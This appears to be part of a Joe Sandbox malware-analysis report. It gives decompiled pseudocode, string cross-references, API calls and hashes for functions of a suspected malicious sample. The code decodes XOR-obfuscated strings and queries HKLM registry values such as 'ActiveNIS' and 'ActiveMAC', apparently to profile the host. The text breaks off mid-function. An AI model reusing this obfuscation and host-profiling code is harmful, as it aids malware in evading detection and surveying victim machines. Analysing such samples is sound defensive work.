				_a198 = 0x2f;
				_a199 = 0xd6;
				_a200 = 0x67;
				_a201 = 0x14;
				_a202 = 0x50;
				_a203 = 0xf4;
				_a204 = 0x54;
				_a205 = 0x88;
				_a206 = 0xfc;
				_a209 = 0x60;
				_a210 = 0xc1;
				_a212 = 0xfb;
				_a213 = 0xaf;
				_a214 = 0x72;
				_a215 = 0x5d;
				_a216 = 0x1c;
				_a217 = 0x3f;
				_a218 = 0x62;
				_a219 = 0xd2;
				_a220 = 0x9b;
				_a221 = 0xa9;
				_a222 = 0x92;
				_a223 = 0x41;
				_a224 = 0x9b;
				_a225 = 0x85;
				_a226 = 0xfe;
				_a227 = 0x50;
				_a228 = 0x90;
				_a229 = 0xf4;
				_a230 = 0xac;
				_a231 = 0x3e;
				_a232 = 0x85;
				_a233 = 0x32;
				_a234 = 2;
				_a235 = 0x24;
				_a236 = 0xa0;
				_a237 = 0x28;
				_a238 = 0x6c;
				_a239 = 0xee;
				_a240 = 0x53;
				_a241 = 0x27;
				_a242 = 0x68;
				_a243 = 0xc6;
				_a244 = 0x6c;
				_a245 = 0xf5;
				_a246 = 0xfc;
				_t207 = 0;
				do {
					 *(_t311 + _t207 + 0xa8) =  *(_t311 + _t207 + 0xa8) ^  *(_t311 + _t207 + 0xd0);
					 *(_t311 + _t207 + 0xa9) =  *(_t311 + _t207 + 0xa9) ^  *(_t311 + _t207 + 0xd1);
					 *(_t311 + _t207 + 0xaa) =  *(_t311 + _t207 + 0xaa) ^  *(_t311 + _t207 + 0xd2);
					_t207 = _t207 + 3;
				} while (_t207 < 0x27);
				_t208 =  *0x431f38; // 0x2d2c
				_t252 =  *0x431f34; // 0x32
				 *0x431f34 = _t252 + 0x32;
				_a72 = 0x41;
				_a73 = 0x63;
				_a74 = 0x74;
				_a75 = 0x69;
				_a76 = 0x76;
				_a77 = 0x65;
				_a78 = 0x4e;
				_a79 = 0x49;
				_a80 = 0x53;
				_a81 = 0;
				 *0x431f38 = _t208 + 0x442;
				_a24 = 0xff;
				_a28 = 0;
				_a20 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t222 = RegOpenKeyExA(0x80000002,  &_a136, 0, 1,  &_a16); // executed
				if(_t222 == 0) {
					_t254 = _a32;
				} else {
					_t246 = GetLastError();
					_t254 = _a32;
					 *(_t254 + 0x74) = _t246;
				}
				if(RegQueryValueExA(_a16, _t297, 0,  &_a28, _a20,  &_a24) == 0) {
					 *((intOrPtr*)(_t254 + 0x70)) = 0x17;
					 *(_t254 + 0x78) = 1;
				} else {
					 *(_t254 + 0x74) = GetLastError();
				}
				RegCloseKey(_a16);
				_t227 = RegOpenKeyExA(0x80000002, _t308, 0, 1,  &_a16); // executed
				if(_t227 != 0) {
					 *(_t254 + 0x74) = GetLastError();
				}
				_t230 = RegQueryValueExA(_a16,  &_a88, 0,  &_a28, _a20,  &_a24);
				_t309 = _t308 | 0xffffffff;
				if(_t230 == 0) {
					_push(_a20);
					 *0x431f34 = 0x6d;
					_t303 =  &_a168;
					_t231 = E0042CFCE(_t254, 0x7d6, _t303, __eflags);
					_t311 = _t311 + 4;
					while(1) {
						_t289 =  *_t231;
						_t268 = _t289;
						__eflags = _t289 -  *_t303;
						if(_t289 !=  *_t303) {
							break;
						}
						__eflags = _t268;
						if(_t268 == 0) {
							L21:
							_t231 = 0;
							L23:
							__eflags = _t231;
							if(_t231 == 0) {
								 *(_t254 + 0x64) = 0x7d6;
							}
							goto L25;
						}
						_t296 =  *((intOrPtr*)(_t231 + 1));
						_t280 = _t296;
						__eflags = _t296 -  *((intOrPtr*)(_t303 + 1));
						if(_t296 !=  *((intOrPtr*)(_t303 + 1))) {
							break;
						}
						_t231 = _t231 + 2;
						_t303 = _t303 + 2;
						__eflags = _t280;
						if(_t280 != 0) {
							continue;
						}
						goto L21;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L23;
				} else {
					 *(_t254 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L25:
					_t269 =  *0x431f30;
					_t290 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t233 = 0x77 - _t269;
					 *0x431f38 = _t233;
					 *0x431f34 = (_t233 & 0x0000ffff) << 2;
					_t272 = _t269 + _t290 + 0x0000000b & 0x00000016;
					if( *(_t254 + 0x64) != 0x7d6) {
						 *(_t254 + 0x64) = _t309;
						 *(_t254 + 0x68) = _t309;
						 *(_t254 + 0x6c) = _t309;
						_t233 =  *0x431f38; // 0x2d2c
					}
					_t304 =  *0x431f2c; // 0x0
					 *0x431f2c = _t304 & _t272 * (_t233 & 0x0000ffff) - 0x00000043;
					_t191 = _t254 + 0x74; // 0x173
					_t306 = _t191;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t254 + 0x7c)) = E0041F020( &_a36, _t191);
					 *((intOrPtr*)(_t254 + 0x80)) = E0041F100(_t254,  &_a64, _t306);
					HeapFree(GetProcessHeap(), 0, _a4);
					RegCloseKey(_v0);
					return E00424873(0, _a268);
				}
			}

0x00420ac8
0x00420ac8
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc2
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

^, xrefs: 00420B5C
%, xrefs: 00420BE6
i, xrefs: 00420E85
s, xrefs: 00420B2F
|, xrefs: 00420B2A
~, xrefs: 00420B39
I, xrefs: 00420E99
=, xrefs: 00420B3E
S, xrefs: 00420E9E
g, xrefs: 00420C8D
N, xrefs: 00420E94
N, xrefs: 00420B1B
r, xrefs: 00420CE5
R, xrefs: 00420BF6
u, xrefs: 00420C1E
^, xrefs: 00420B43
&, xrefs: 00420BB7
t, xrefs: 00420E80
r, xrefs: 00420B48
o, xrefs: 00420B4D
T, xrefs: 00420CAD
i, xrefs: 00420B34
>, xrefs: 00420D6C
Q, xrefs: 00420B57
P, xrefs: 00420C9D
c, xrefs: 00420E7B
5, xrefs: 00420C65
p, xrefs: 00420B25
d, xrefs: 00420B20
(, xrefs: 00420D9C
=, xrefs: 00420B52
e, xrefs: 00420E8F
S, xrefs: 00420DB3
?, xrefs: 00420CFD
v, xrefs: 00420E8A
', xrefs: 00420DBB
{, xrefs: 00420C4D
2, xrefs: 00420D7C
h, xrefs: 00420DC3
], xrefs: 00420CED
$, xrefs: 00420D8C
P, xrefs: 00420D4C
b, xrefs: 00420D05
/, xrefs: 00420C7D
}, xrefs: 00420C36
`, xrefs: 00420CC5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $$%$&$'$($/$2$5$=$=$>$?$I$N$N$P$P$Q$R$S$S$T$]$^$^$`$b$c$d$e$g$h$i$i$o$p$r$r$s$t$u$v${$|$}$~
API String ID: 0-2688660894
Opcode ID: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction ID: abd944b4bf66b48f6ff19b161d47c379f6673315fd2279abf8dc63a53f241184
Opcode Fuzzy Hash: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction Fuzzy Hash: 6EF10A2010D7C18AD332CB789848B9FBFD55BA6314F484AADE1D95B2E3D3B98109C727

Uniqueness

Uniqueness Score: -1.00%

Function 00421550, Relevance: 86.0, APIs: 9, Strings: 40, Instructions: 293
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00421550(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t162;
				short _t165;
				void* _t167;
				long _t180;
				void* _t183;
				void* _t184;
				signed int _t185;
				void* _t189;
				signed char _t190;
				signed char _t191;
				intOrPtr _t196;
				intOrPtr _t204;
				intOrPtr _t205;
				intOrPtr _t206;
				long _t217;
				void* _t220;
				signed char _t223;
				void* _t245;
				void* _t249;
				intOrPtr _t250;
				void* _t252;
				void* _t253;
				void* _t254;
				void* _t255;

				_t162 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t253 + 0x88)) = _t162;
				_t249 = __ecx;
				 *((char*)(_t253 + 0x31)) = 0x2c;
				 *((char*)(_t253 + 0x32)) = 0x7c;
				 *((char*)(_t253 + 0x35)) = 0x7c;
				 *((char*)(_t253 + 0x36)) = 0x2c;
				 *((char*)(_t253 + 0x4b)) = 0x2c;
				_push(__edi);
				 *((char*)(_t253 + 0x34)) = 0x54;
				 *((char*)(_t253 + 0x37)) = 0xc;
				 *((char*)(_t253 + 0x38)) = 0x12;
				 *((char*)(_t253 + 0x3b)) = 0xe7;
				 *((char*)(_t253 + 0x3c)) = 0x50;
				 *((char*)(_t253 + 0x3d)) = 0x8d;
				 *((char*)(_t253 + 0x3e)) = 0x53;
				 *((char*)(_t253 + 0x3f)) = 0x29;
				 *(_t253 + 0x40) = 0xa2;
				 *((char*)(_t253 + 0x41)) = 0xa8;
				 *((char*)(_t253 + 0x42)) = 0x4e;
				 *((char*)(_t253 + 0x43)) = 0x45;
				 *((char*)(_t253 + 0x44)) = 0xc5;
				 *((char*)(_t253 + 0x45)) = 0x81;
				 *((char*)(_t253 + 0x46)) = 9;
				 *((char*)(_t253 + 0x47)) = 0xb3;
				 *((char*)(_t253 + 0x48)) = 0xdc;
				 *((char*)(_t253 + 0x49)) = 0x50;
				 *((char*)(_t253 + 0x4a)) = 0x2a;
				 *((char*)(_t253 + 0x4b)) = 0xc2;
				 *((char*)(_t253 + 0x4c)) = 5;
				 *((char*)(_t253 + 0x4d)) = 0x69;
				 *((char*)(_t253 + 0x4e)) = 0x76;
				 *((char*)(_t253 + 0x50)) = 0x20;
				 *((char*)(_t253 + 0x51)) = 0x30;
				 *((char*)(_t253 + 0x52)) = 0x70;
				 *((char*)(_t253 + 0x53)) = 0x9e;
				 *((char*)(_t253 + 0x54)) = 0x5a;
				 *((char*)(_t253 + 0x55)) = 0x4c;
				 *((char*)(_t253 + 0x56)) = 0xd3;
				 *((char*)(_t253 + 0x57)) = 0x82;
				 *((char*)(_t253 + 0x58)) = 0x4f;
				 *((char*)(_t253 + 0x59)) = 0x90;
				 *((char*)(_t253 + 0x64)) = 0xff;
				 *((char*)(_t253 + 0x65)) = 0x23;
				 *((char*)(_t253 + 0x66)) = 0xca;
				 *((char*)(_t253 + 0x67)) = 0x48;
				 *((char*)(_t253 + 0x68)) = 0x45;
				 *((char*)(_t253 + 0x69)) = 0xc5;
				 *((char*)(_t253 + 0x6a)) = 0x26;
				 *((char*)(_t253 + 0x6b)) = 0x5e;
				 *(_t253 + 0x6c) = 0xc;
				 *((char*)(_t253 + 0x6d)) = 0xc0;
				 *((char*)(_t253 + 0x6e)) = 0x10;
				 *((char*)(_t253 + 0x6f)) = 0x18;
				 *((char*)(_t253 + 0x70)) = 0xc4;
				 *((char*)(_t253 + 0x71)) = 0xbd;
				 *((char*)(_t253 + 0x72)) = 0x17;
				 *((char*)(_t253 + 0x73)) = 0xe9;
				 *((char*)(_t253 + 0x74)) = 0x9e;
				 *((char*)(_t253 + 0x75)) = 0xee;
				 *((char*)(_t253 + 0x76)) = 0x64;
				 *((char*)(_t253 + 0x77)) = 0xa9;
				 *((char*)(_t253 + 0x78)) = 0x74;
				 *((char*)(_t253 + 0x79)) = 0x15;
				 *((char*)(_t253 + 0x7a)) = 0x48;
				 *((char*)(_t253 + 0x7b)) = 0xb1;
				 *((char*)(_t253 + 0x7c)) = 0x6a;
				 *((char*)(_t253 + 0x7d)) = 5;
				 *((char*)(_t253 + 0x7e)) = 0xeb;
				 *((char*)(_t253 + 0x7f)) = 0x40;
				 *((char*)(_t253 + 0x80)) = 0;
				 *((char*)(_t253 + 0x81)) = 0x16;
				_t165 =  *0x431f38; // 0x2d2c
				 *((char*)(_t253 + 0x82)) = 0xf9;
				 *((char*)(_t253 + 0x83)) = 0xd4;
				 *((char*)(_t253 + 0x84)) = 0xb;
				 *((char*)(_t253 + 0x85)) = 0x2b;
				 *((char*)(_t253 + 0x86)) = 0x8e;
				 *((char*)(_t253 + 0x87)) = 0xea;
				 *((char*)(_t253 + 0x88)) = 0x1d;
				 *((char*)(_t253 + 0x89)) = 0x70;
				_t217 = 0;
				do {
					 *((intOrPtr*)(_t253 + _t217 + 0x34)) =  *((intOrPtr*)(_t253 + _t217 + 0x34)) +  *((intOrPtr*)(_t253 + _t217 + 0x64));
					 *((intOrPtr*)(_t253 + _t217 + 0x35)) =  *((intOrPtr*)(_t253 + _t217 + 0x35)) +  *((intOrPtr*)(_t253 + _t217 + 0x65));
					_t217 = _t217 + 2;
					_t165 = _t165 + 0xda;
				} while (_t217 < 0x26);
				_t250 =  *0x431f34; // 0x32
				 *((char*)(_t253 + 0x5c)) = 0x56;
				 *((char*)(_t253 + 0x28)) = 0x56;
				 *((char*)(_t253 + 0x2e)) = 0xbc;
				 *((char*)(_t253 + 0x23)) = 0xbc;
				_t220 = 0;
				 *((char*)(_t253 + 0x5d)) = 0x65;
				 *((char*)(_t253 + 0x5e)) = 0x72;
				 *((char*)(_t253 + 0x5f)) = 0x73;
				 *((char*)(_t253 + 0x60)) = 0x69;
				 *((char*)(_t253 + 0x61)) = 0x6f;
				 *((char*)(_t253 + 0x62)) = 0x6e;
				 *((char*)(_t253 + 0x63)) = 0;
				 *0x431f34 = _t250 + 0x32;
				 *((char*)(_t253 + 0x29)) = 0x99;
				 *((char*)(_t253 + 0x2a)) = 0x50;
				 *((char*)(_t253 + 0x2b)) = 0xde;
				 *((char*)(_t253 + 0x2c)) = 0x57;
				 *((char*)(_t253 + 0x2d)) = 0x88;
				 *((char*)(_t253 + 0x2f)) = 0xad;
				 *((char*)(_t253 + 0x30)) = 0x41;
				 *((char*)(_t253 + 0x31)) = 0xf4;
				 *((char*)(_t253 + 0x32)) = 0xf3;
				 *(_t253 + 0x1c) = 0xf7;
				 *((char*)(_t253 + 0x1d)) = 0xd7;
				 *((char*)(_t253 + 0x1e)) = 0x16;
				 *((char*)(_t253 + 0x1f)) = 0x75;
				 *(_t253 + 0x20) = 0xe;
				 *((char*)(_t253 + 0x21)) = 0xea;
				 *((char*)(_t253 + 0x22)) = 0xba;
				 *((char*)(_t253 + 0x24)) = 0x22;
				 *((char*)(_t253 + 0x25)) = 0x71;
				 *((char*)(_t253 + 0x26)) = 0xd;
				_t167 = _t165 + 0x4af;
				do {
					 *((intOrPtr*)(_t253 + _t220 + 0x28)) =  *((intOrPtr*)(_t253 + _t220 + 0x28)) +  *((intOrPtr*)(_t253 + _t220 + 0x1c));
					_t220 = _t220 + 1;
				} while (_t220 < 0xb);
				 *((char*)(_t253 + 0x24)) = 0x41;
				 *((char*)(_t253 + 0x25)) = 0x63;
				 *((char*)(_t253 + 0x26)) = 0x74;
				 *((char*)(_t253 + 0x27)) = 0x69;
				 *((char*)(_t253 + 0x28)) = 0x76;
				 *((char*)(_t253 + 0x29)) = 0x65;
				 *((char*)(_t253 + 0x2a)) = 0x4d;
				 *((char*)(_t253 + 0x2b)) = 0x41;
				 *((char*)(_t253 + 0x2c)) = 0;
				 *0x431f38 = _t167 + 0x3d5;
				 *(_t253 + 0x20) = 0xff;
				 *(_t253 + 0x1c) = 0;
				_t252 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t180 = RegOpenKeyExA(0x80000002, _t253 + 0x40, 0, 1, _t253 + 0x10); // executed
				_t245 = GetLastError;
				if(_t180 != 0) {
					 *((intOrPtr*)(_t249 + 0xb4)) = GetLastError();
				}
				if(RegQueryValueExA( *(_t253 + 0x14), _t253 + 0x6c, 0, _t253 + 0x1c, _t252, _t253 + 0x18) == 0) {
					_t183 = E00425A4D(0, _t245, _t249, _t252, 0x42e310);
					_t254 = _t253 + 8;
					if(_t183 != 0) {
						_t206 = E004259C0(_t183);
						_t254 = _t254 + 4;
						 *((intOrPtr*)(_t249 + 0xa4)) = _t206;
					}
					_t184 = E00425A4D(0, _t245, _t249, 0, 0x42e310);
					_t255 = _t254 + 8;
					if(_t184 != 0) {
						_t205 = E004259C0(_t184);
						_t255 = _t255 + 4;
						 *((intOrPtr*)(_t249 + 0xa8)) = _t205;
					}
					_t185 =  *0x431f34; // 0x32
					_t223 =  *0x431f30; // 0x0
					 *0x431f30 = _t223 & _t185 *  *0x431f2c & 0x00000050;
					 *0x431f38 = 0x77;
					_t189 = E00425A4D(0, _t245, _t249, 0, 0x42e310);
					_t253 = _t255 + 8;
					if(_t189 != 0) {
						_t204 = E004259C0(_t189);
						_t253 = _t253 + 4;
						 *((intOrPtr*)(_t249 + 0xac)) = _t204;
					}
					 *(_t249 + 0xb8) = 1;
					 *((intOrPtr*)(_t249 + 0xb0)) = 0x19;
				} else {
					 *((intOrPtr*)(_t249 + 0xb4)) = GetLastError();
				}
				_t190 =  *0x431f2c; // 0x0
				_t191 = _t190;
				 *0x431f2c = _t191;
				 *0x431f30 = _t191 & 0x00000002;
				_t155 = _t249 + 0xb4; // 0x431d4c
				_t246 = _t155;
				 *0x431f38 =  *0x431f38;
				 *0x431f34 = 0;
				 *((intOrPtr*)(_t249 + 0xbc)) = E0041F020(_t253 + 0x2c, _t155);
				 *((intOrPtr*)(_t249 + 0xc0)) = E0041F100(_t249, _t253 + 0x20, _t246);
				_t196 =  *0x431f34; // 0x32
				 *0x431f2c = _t196 + 0x50;
				 *0x431f38 = 0x77 -  *0x431f30;
				HeapFree(GetProcessHeap(), 0, _t252);
				RegCloseKey( *(_t253 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t253 + 0x8c)));
			}

0x00421556
0x0042155e
0x00421567
0x0042156b
0x0042156f
0x00421573
0x00421577
0x0042157d
0x00421587
0x00421588
0x0042158d
0x00421592
0x00421597
0x0042159c
0x004215a1
0x004215a6
0x004215ab
0x004215b0
0x004215b5
0x004215ba
0x004215bf
0x004215c4
0x004215c9
0x004215ce
0x004215d3
0x004215d8
0x004215dd
0x004215e2
0x004215e7
0x004215ec
0x004215f0
0x004215f5
0x004215fa
0x004215ff
0x00421604
0x00421608
0x0042160c
0x00421611
0x00421616
0x0042161b
0x00421620
0x00421625
0x0042162a
0x0042162f
0x00421634
0x00421639
0x0042163d
0x00421642
0x00421647
0x0042164c
0x00421651
0x00421656
0x0042165b
0x00421660
0x00421665
0x0042166a
0x0042166f
0x00421674
0x00421679
0x0042167d
0x00421682
0x00421687
0x0042168c
0x00421691
0x00421696
0x0042169a
0x0042169f
0x004216a4
0x004216a8
0x004216ad
0x004216b2
0x004216ba
0x004216c2
0x004216ca
0x004216d2
0x004216da
0x004216e2
0x004216ea
0x004216f2
0x004216f9
0x00421701
0x00421708
0x00421710
0x00421714
0x0042171c
0x00421724
0x00421727
0x0042172b
0x00421730
0x00421738
0x0042173c
0x00421745
0x0042174b
0x0042174f
0x00421751
0x00421756
0x0042175b
0x00421760
0x00421765
0x0042176a
0x0042176f
0x00421774
0x0042177a
0x0042177f
0x00421784
0x00421789
0x0042178e
0x00421793
0x00421798
0x0042179c
0x004217a1
0x004217a6
0x004217ab
0x004217b0
0x004217b5
0x004217ba
0x004217bf
0x004217c3
0x004217c8
0x004217cd
0x004217d2
0x004217d7
0x004217e0
0x004217e4
0x004217e8
0x004217e9
0x0042181b
0x0042181f
0x00421824
0x00421829
0x0042182e
0x00421833
0x00421838
0x0042183d
0x00421841
0x00421845
0x0042184b
0x00421853
0x00421864
0x00421878
0x00421880
0x00421886
0x0042188a
0x0042188a
0x004218ae
0x004218c3
0x004218c8
0x004218cd
0x004218d0
0x004218d5
0x004218d8
0x004218d8
0x004218e4
0x004218e9
0x004218ee
0x004218f1
0x004218f6
0x004218f9
0x004218f9
0x004218ff
0x0042190a
0x00421918
0x0042192b
0x00421932
0x00421937
0x0042193c
0x0042193f
0x00421944
0x00421947
0x00421947
0x0042194d
0x00421957
0x004218b0
0x004218b2
0x004218b2
0x00421961
0x00421969
0x0042196b
0x00421979
0x0042197e
0x0042197e
0x00421988
0x00421997
0x004219aa
0x004219b5
0x004219c3
0x004219d2
0x004219d9
0x004219e7
0x004219f2
0x00421a10

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00421857
HeapAlloc.KERNEL32(00000000), ref: 0042185E
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421878
GetLastError.KERNEL32 ref: 00421888
RegQueryValueExA.ADVAPI32(?,0000000C,00000000,000000F7,00000000,?), ref: 004218A6
GetLastError.KERNEL32 ref: 004218B0

Strings

0, xrefs: 004215FF
L, xrefs: 00421611
t, xrefs: 00421824
n, xrefs: 0042176A
u, xrefs: 004217B5
#, xrefs: 0042162F
", xrefs: 004217C8
@, xrefs: 004216AD
*, xrefs: 004215E2
d, xrefs: 00421682
W, xrefs: 00421789
i, xrefs: 00421760
t, xrefs: 0042168C
^, xrefs: 0042164C
G@,, xrefs: 00421556
Z, xrefs: 0042160C
S, xrefs: 004215A6
), xrefs: 004215AB
j, xrefs: 0042169F
s, xrefs: 0042175B
v, xrefs: 0042182E
e, xrefs: 00421833
T, xrefs: 00421588
o, xrefs: 00421765
N, xrefs: 004215BA
i, xrefs: 00421829
M, xrefs: 00421838
i, xrefs: 004215F0
r, xrefs: 00421756
P, xrefs: 0042159C
&, xrefs: 00421647
, xrefs: 004215FA
O, xrefs: 00421620
E, xrefs: 004215BF
P, xrefs: 004215DD
v, xrefs: 004215F5
E, xrefs: 0042163D
c, xrefs: 0042181F
+, xrefs: 004216E2
e, xrefs: 00421751

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: $"$#$&$)$*$+$0$@$E$E$G@,$L$M$N$O$P$P$S$T$W$Z$^$c$d$e$e$i$i$i$j$n$o$r$s$t$t$u$v$v
API String ID: 1776519057-1897982872
Opcode ID: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction ID: de080bc917b6dafc203796a283a93a50a3f41381c7ced34f7cef138a8a95d9cd
Opcode Fuzzy Hash: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction Fuzzy Hash: D4D13C6110C7C1CDD322D778988879FBFD15BA6218F484E9DF1E45B3E2D2A98109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F8E0, Relevance: 73.8, APIs: 9, Strings: 33, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041F8E0(void* __ecx) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				int _v104;
				int _v108;
				void* _v112;
				void* _v116;
				void* _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t176;
				signed char _t180;
				intOrPtr _t181;
				void* _t183;
				signed int _t188;
				long _t200;
				void* _t204;
				void* _t205;
				intOrPtr _t220;
				intOrPtr _t221;
				signed char _t228;
				signed int _t232;
				signed int _t244;
				void* _t264;
				void* _t266;
				void** _t269;
				void** _t270;
				void** _t271;

				_t269 =  &_v112;
				_t176 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t176;
				_v32 = 0x78;
				_v17 = 0x78;
				_v16 = 0x92;
				_v10 = 0x92;
				_t266 = __ecx;
				_v74 = 0x10;
				_v71 = 0x10;
				_v36 = 0x7b;
				_v35 = 0x3a;
				_v34 = 0x59;
				_v33 = 0xfe;
				_v31 = 0xb0;
				_v30 = 0xb1;
				_v29 = 0x27;
				_v28 = 0x34;
				_v27 = 0xf8;
				_v26 = 0x7f;
				_v25 = 0x7a;
				_v24 = 6;
				_v23 = 0x30;
				_v22 = 0xcb;
				_v21 = 0xef;
				_v20 = 0x87;
				_v19 = 0xae;
				_v18 = 0xc9;
				_v15 = 0x32;
				_v14 = 0xab;
				_v13 = 0x86;
				_v12 = 0x63;
				_v11 = 0x79;
				_v9 = 0x5c;
				_v8 = 0x91;
				_v84 = 0x28;
				_v83 = 0x75;
				_v82 = 0x1f;
				_v81 = 0xaa;
				_v80 = 0x2f;
				_v79 = 0xf1;
				_v78 = 0xe3;
				_v77 = 0x62;
				_v76 = 0x68;
				_v75 = 0xa2;
				_v73 = 0x14;
				_v72 = 0x63;
				_v70 = 0x87;
				_v69 = 0x8e;
				_v68 = 0xe5;
				_v67 = 0xdd;
				_v66 = 0x95;
				_v65 = 0x22;
				_v64 = 0xfd;
				_v63 = 0x5c;
				_v62 = 0xce;
				_v61 = 0xc7;
				_v60 = 0xf;
				_v59 = 0x18;
				_v58 = 0xe0;
				_v57 = 0x31;
